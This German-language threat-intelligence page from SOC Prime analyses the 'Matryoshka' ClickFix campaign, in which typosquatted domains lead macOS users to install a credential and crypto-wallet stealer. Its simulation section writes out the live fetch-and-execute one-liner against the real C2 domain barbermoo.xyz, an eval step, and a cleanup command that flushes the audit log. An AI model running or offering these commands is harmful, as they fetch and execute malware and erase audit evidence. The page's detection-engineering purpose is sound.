SOC Prime Bias: Medium

17 Feb 2026 15:00 UTC

Entpacken der neuen „Matryoshka“ KlickFix-Variante: Typosquatting-Kampagne liefert macOS-Stealer

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
Entpacken der neuen „Matryoshka“ KlickFix-Variante: Typosquatting-Kampagne liefert macOS-Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine neue macOS-Malware-Operation namens Matryoshka missbraucht eine vertippte Domain, um Opfer dazu zu bringen, einen bösartigen Befehl in das Terminal einzufügen. Der Einzeiler zieht ein codiertes Skript, das im Speicher dekodiert wird und letztlich einen auf AppleScript basierenden Dieb bereitstellt, der auf Browser-Anmeldedaten und Kryptowährungs-Wallets abzielt. Der Installer läuft leise im Hintergrund, unterdrückt sichtbare Ausgaben und lädt gesammelte Daten mit einem benutzerdefinierten API-Header. Die Kampagne wird durch Benutzerinteraktion und nicht durch einen Software-Exploit angetrieben.

Untersuchung

Analysten bei Intego rekonstruierten die Kette von Anfang bis Ende: eine vertippte Domain leitet Benutzer zu einer leichten Shell-Phase auf barbermoo.xyz um. Dieses Skript führt eine Base64 + gzip-Dekodierung im Speicher durch, startet einen Loader, der die AppleScript-Nutzlast abruft, und bereitet die Sammlungsergebnisse in /tmp/osalogging.zip vor, bevor es zur Exfiltration kommt. Das AppleScript versucht, Anmeldedaten durch eine gefälschte Systemsteuerungsaufforderung zu stehlen, und zielt auch auf Krypto-Tools, indem es Ledger Live- und Trezor Suite-Anwendungsbündel ersetzt oder patcht. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.

Abschwächung

Benutzerbewusstsein ist die primäre Kontrolle: Keine Terminal-Befehle von Websites einfügen. Blockieren und überwachen Sie die identifizierten vertippten und C2-bezogenen Domains sowie die Verkehrsinfrastruktur, die die Bereitstellung unterstützt. Wenden Sie eine Anwendungs-Whitelist an und nutzen Sie Endpunktschutz, der verdächtige osascript-Ausführungen und abnormale curl-basierte Abrufmuster erkennen kann.

Antwort

Alarmieren Sie bei Terminal-initiiertem curl, der an zsh oder osascript geleitet wird, überwachen Sie die Erstellung von /tmp/osalogging.zip und kennzeichnen Sie unerwartete Änderungen an Ledger Live- und Trezor Suite-Bündeln. Erzwingen Sie DNS-Filterung für barbermoo.xyz, comparisions.org und macfilesendstream.com. Untersuchen Sie jeden Prozess, der unmittelbar nach der Ausführung eines curl-getriebenen Befehls leise im Hintergrund startet.

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Vorflug-Check für Telemetrie & Baseline muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählstränge MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer, der bereits ein macOS-Konto mit niedrigen Rechten kompromittiert hat, möchte eine Remote-Nutzlast ausführen, ohne Dateien auf die Festplatte zu schreiben. Er erstellt einen Einzeiler, der ein Base-64-codiertes Skript von einer bösartigen C2-Domain (barbermoo.xyz), leitet es direkt an zsh, und verwendet schließlich eval zur Ausführung der In-Memory-Nutzlast. Dieser Ansatz stimmt mit T1059.004 (Unix Shell) und T1027 (Verschleierung) überein und entspricht genau dem, wonach die Sigma-Regel sucht.

    1. Der Angreifer erhält ein einzigartiges Token (ABCD1234), das die Anfrage mit ihrer Kampagne verbindet.

    2. Sie führen den folgenden Einzeiler in einer Terminal-Sitzung aus:

      curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    3. Innerhalb des abgerufenen Skripts hält eine Variable payload eine base64-kodierte bösartige Nutzlast, die folgendermaßen ausgeführt wird:

      eval "$payload"

    Dies erzeugt zwei verschiedene Befehlszeileneinträge, die mit der Regel übereinstimmen:

    • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    • eval "$payload"
  • Regressionstest-Skript:
    Das untenstehende Skript reproduziert das bösartige Verhalten in einer kontrollierten Laborumgebung. Führen Sie es nur auf einem macOS-Testsystem aus. Es protokolliert seine eigene Ausführung in das Systemprüfprotokoll und erfüllt so die Erkennungsregel.

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Matryoshka-Varianten-Simulation – löst Sigma-Regel aus
    # -------------------------------------------------
    set -euo pipefail
    
    # --- Konfiguration -------------------------------------------------
    TOKEN="ABCD1234"                     # Ersetzen Sie dies durch einen beliebigen String, um die Einzigartigkeit zu simulieren
    MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
    # Eine winzige harmlose Nutzlast für die Demo – gibt eine Nachricht aus (ersetzen Sie bei Red-Team durch echte Nutzlast)
    PAYLOAD="echo 'Bösartige Nutzlast ausgeführt'"
    
    # --- Schritt 1: Abrufen und an zsh weiterleiten (entspricht dem ersten Erkennungsmuster) ---
    curl -fsSL "${MALICIOUS_URL}" | zsh
    
    # --- Schritt 2: Simulieren Sie die In-Memory-Auswertung (entspricht dem zweiten Muster) -------------
    # Bei einem echten Angriff wäre die Nutzlast base64-kodiert und würde on-the-fly dekodiert.
    eval "${PAYLOAD}"
  • Bereinigungskommandos: Entfernen Sie alle transitorischen Prozesse und stellen Sie den Shell-Zustand wieder her.

    # Beenden Sie alle zsh-Prozesse, die durch den Test gestartet wurden (falls noch aktiv)
    pkill -f "zsh -c .*barbermoo.xyz"
    
    # Optionally clear the audit log of the test entries (requires admin)
    sudo audit -c      # Flushes the audit buffer (demonstrates T1070.010)